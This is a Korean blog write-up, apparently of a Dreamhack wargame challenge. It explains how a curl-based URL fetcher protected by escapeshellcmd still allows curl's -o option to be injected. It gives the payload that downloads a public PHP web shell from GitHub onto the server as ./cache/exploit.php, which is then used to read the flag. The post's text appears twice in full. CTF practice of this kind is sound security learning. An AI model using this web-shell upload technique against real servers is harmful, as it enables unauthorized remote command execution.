문제

풀이

index는 바로 url을 입력받고 curl을 진행하는 페이지이다.
소스코드를 확인해보자.

$url에 'http' 문자열이 존재하는 지, 확인한다.
확인 시, 'http' 문자열이 첫번째 문자열에 포함되어 있다면, 0을 반환한다.
단순하게 말하자면, $url 시작이 'http'로 시작해야 else 구문으로 넘어간다.
$result 는 GET으로 받은 url을 escapeshellcmd로 ;, |, 등을 이스케이프 처리를 시켜 일반 문자열로 변환한다.
하지만, curl 실행은 가능하다.
그렇다면, 공격자의 서버에 있는 웹쉘을 요청하고, 경로를 지정해 업로드하면 바로 웹쉘이 업로드 될 것이다.
이때에는 curl -o 옵션을 사용한다.
curl -o 옵션은 지정한 디렉토리에 요청 결과를 생성한다.
아래는 github의 webshell이다. 해당 페이지의 webshell.php를 raw를 눌러 url을 추출해 사용할 예정이다.
GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell
WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.
github.com
url을 먼저 선언을 하고 -o 옵션을 사용해 /cache/expolit.php 를 생성한다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php -o ./cache/exploit.php
해당 경로에 cache file이 생성된 것을 확인할 수 있다.

이제 /cache/exploit.php 에 접속하여 flag 값을 도출해낸다.

cmd 에서 cat ./flag 를 작성하면 flag 값이 출력된다.

'Dreamhack > Dreamhack(1단계)' 카테고리의 다른 글
rev-basic-2 (Reversing) (0) | 2025.04.28 |
---|---|
File Vulnerability Advanced for linux (웹 해킹) (0) | 2024.10.25 |
error based sql injection (웹 해킹) (0) | 2024.10.23 |
session-basic (웹 해킹) (2) | 2024.10.16 |
[wargame.kr] tmitter (웹 해킹) (0) | 2024.10.16 |
문제

풀이

index는 바로 url을 입력받고 curl을 진행하는 페이지이다.
소스코드를 확인해보자.

$url에 'http' 문자열이 존재하는 지, 확인한다.
확인 시, 'http' 문자열이 첫번째 문자열에 포함되어 있다면, 0을 반환한다.
단순하게 말하자면, $url 시작이 'http'로 시작해야 else 구문으로 넘어간다.
$result 는 GET으로 받은 url을 escapeshellcmd로 ;, |, 등을 이스케이프 처리를 시켜 일반 문자열로 변환한다.
하지만, curl 실행은 가능하다.
그렇다면, 공격자의 서버에 있는 웹쉘을 요청하고, 경로를 지정해 업로드하면 바로 웹쉘이 업로드 될 것이다.
이때에는 curl -o 옵션을 사용한다.
curl -o 옵션은 지정한 디렉토리에 요청 결과를 생성한다.
아래는 github의 webshell이다. 해당 페이지의 webshell.php를 raw를 눌러 url을 추출해 사용할 예정이다.
GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell
WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.
github.com
url을 먼저 선언을 하고 -o 옵션을 사용해 /cache/expolit.php 를 생성한다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php -o ./cache/exploit.php
해당 경로에 cache file이 생성된 것을 확인할 수 있다.

이제 /cache/exploit.php 에 접속하여 flag 값을 도출해낸다.

cmd 에서 cat ./flag 를 작성하면 flag 값이 출력된다.

'Dreamhack > Dreamhack(1단계)' 카테고리의 다른 글
rev-basic-2 (Reversing) (0) | 2025.04.28 |
---|---|
File Vulnerability Advanced for linux (웹 해킹) (0) | 2024.10.25 |
error based sql injection (웹 해킹) (0) | 2024.10.23 |
session-basic (웹 해킹) (2) | 2024.10.16 |
[wargame.kr] tmitter (웹 해킹) (0) | 2024.10.16 |